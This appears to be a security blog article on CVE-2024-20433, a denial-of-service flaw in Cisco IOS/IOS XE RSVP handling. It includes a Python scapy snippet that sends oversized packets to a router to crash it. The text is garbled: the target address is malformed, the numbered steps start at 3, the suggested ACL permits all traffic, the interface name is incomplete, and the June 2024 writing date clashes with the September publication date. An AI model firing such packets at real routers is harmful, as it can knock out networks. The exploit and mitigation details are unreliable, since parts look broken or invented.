A fresh Cisco vulnerability—CVE-2024-20433—has caught the eye of network defenders. This flaw targets Resource Reservation Protocol (RSVP) features in both Cisco IOS and Cisco IOS XE. With only carefully crafted packets, an attacker on the internet can bring down your core network, causing routers to reload and services to fall over. It draws on a classic weakness: buffer overflow.

Let’s break down how it works, see some details of an attack, and cover how to defend your network.

What is CVE-2024-20433?

CVE-2024-20433 is a vulnerability in the RSVP feature of Cisco IOS/IOS XE. RSVP is used for reserving network resources along the path of a data flow—think bandwidth for voice/video calls.

The flaw:
When RSVP is enabled, the router doesn’t properly handle overly large RSVP packets. An attacker can send in big or malformed RSVP messages, causing memory corruption (a buffer overflow). The network device crashes and reloads—resulting in denial of service (DoS).

- CVE Details Page: NVD - CVE-2024-20433
- Cisco Advisory: Cisco Security Advisory: CVE-2024-20433

RSVP must be enabled *(default: off, but common in larger networks)*

Most at risk:

SD-WAN deployments

- Any site with RSVP for voice/video QoS

Attacker crafts special RSVP packets with malformed lengths or fields.

3. Packets are sent over the network to the router’s RSVP port (protocol number 46, raw IP, not TCP/UDP).

RSVP Packet Example Exploit (Python)

Here’s a simple Python snippet (using scapy) to send a malformed RSVP packet to a target.

> ⚠ For education only—do not use against devices you don’t own.

from scapy.all import *

# RSVP is protocol 46
RSVP_PROTO = 46

# Create an IP packet with a crafted RSVP payload
ip = IP(dst="192..2.1", proto=RSVP_PROTO)

# Overlong RSVP message (buffer overflow!)
rsvp_payload = b"\x01" * 1024  # Legit RSVP packets are usually much smaller

# Send the packet
send(ip/rsvp_payload)

How this works:
This sends a purposely oversized RSVP message. If RSVP is enabled on the target, it may trigger the crash.

- Check if RSVP is enabled

  show running-config | include rsvp

- Confirm Cisco IOS/IOS XE version

  show version

- Compare version to Cisco’s fixed release table.

access-list 100 permit ip any any

interface GigabitEthernet/

Permanent:

- Upgrade to a fixed Cisco IOS/IOS XE version per Cisco’s advisory.

More Information

- NVD CVE Page
- Cisco’s Advisory

Closing Thoughts

Classic buffer overflows still haunt critical infrastructure if protocols like RSVP aren’t rigorously checked. Take this as a sign to review the features enabled on your routers and patch aggressively. Prevention beats outage firefighting every time.

Stay alert, and keep patching!

*Article written exclusively for Security Pro Insights, June 2024*

Timeline

Published on: 09/25/2024 17:15:15 UTC
Last modified on: 09/26/2024 13:32:02 UTC